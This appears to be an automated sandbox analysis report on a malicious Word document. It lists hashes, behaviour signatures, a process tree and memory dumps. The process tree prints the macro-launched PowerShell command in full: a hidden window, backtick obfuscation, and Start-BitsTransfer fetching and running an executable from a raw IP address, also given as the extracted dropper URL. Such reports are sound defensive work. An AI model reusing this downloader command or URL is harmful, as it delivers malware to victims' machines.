Analysis

  • max time kernel
    122s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    14-10-2021 10:19

General

  • Target

    QPL_0600_310107725.doc

  • Size

    28KB

  • MD5

    38aa23ee6f3164562c75b9584ddd8bf7

  • SHA1

    75982c488ae86664e2b3420fbfec12bd22e75b81

  • SHA256

    ce0784a0d4e7afe62964a890c549c42743fa1cc5d9bf78204a225c9bd2e3b2c6

  • SHA512

    f3283f73453c014e7d45aa2e96db6f2e6241c498683d146ca41cf323e9a3a7d616dcefba78778bdb13e3d26dd9e12d3feb22841e0779a6322d1af05a76f58623

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://18.195.143.183/6/7/QPL_0600_310107725.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\QPL_0600_310107725.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1112
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\appearadmit.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://18.195.143.183/6/7/QPL_0600_310107725.e`xe -Destination C:\Users\Public\Documents\chancecrime.e`xe;C:\Users\Public\Documents\chancecrime.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1356
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1248

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Public\Documents\appearadmit.cmd
      MD5

      8e0cacb4b622dcb95170f8ccaef4d78f

      SHA1

      470706d4f1199e9213a82608e3f64be3141b8190

      SHA256

      1c442d099676f8627f483d363cd44371089becae8273e14d30c2bf0921ef6331

      SHA512

      d13de1085d59906cddb1d3a5e3aad9c68a9009cae942cd8383e23a37178a27079382b9130b63bccc34efef3868cee8ca909d35f26a0664732f80738e9db1ad83

    • memory/1112-55-0x000000006FAB1000-0x000000006FAB3000-memory.dmp
      Filesize

      8KB

    • memory/1112-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1112-57-0x0000000075871000-0x0000000075873000-memory.dmp
      Filesize

      8KB

    • memory/1112-58-0x00000000004C2000-0x00000000004C6000-memory.dmp
      Filesize

      16KB

    • memory/1112-59-0x00000000004C2000-0x00000000004C6000-memory.dmp
      Filesize

      16KB

    • memory/1112-70-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1112-54-0x0000000072031000-0x0000000072034000-memory.dmp
      Filesize

      12KB

    • memory/1248-68-0x0000000000000000-mapping.dmp
    • memory/1248-69-0x000007FEFB541000-0x000007FEFB543000-memory.dmp
      Filesize

      8KB

    • memory/1356-62-0x0000000000000000-mapping.dmp
    • memory/1356-67-0x0000000001DC2000-0x0000000001DC4000-memory.dmp
      Filesize

      8KB

    • memory/1356-65-0x0000000004A30000-0x0000000004F66000-memory.dmp
      Filesize

      5.2MB

    • memory/1356-66-0x0000000001DC1000-0x0000000001DC2000-memory.dmp
      Filesize

      4KB

    • memory/1356-64-0x0000000001DC0000-0x0000000001DC1000-memory.dmp
      Filesize

      4KB

    • memory/1472-60-0x0000000000000000-mapping.dmp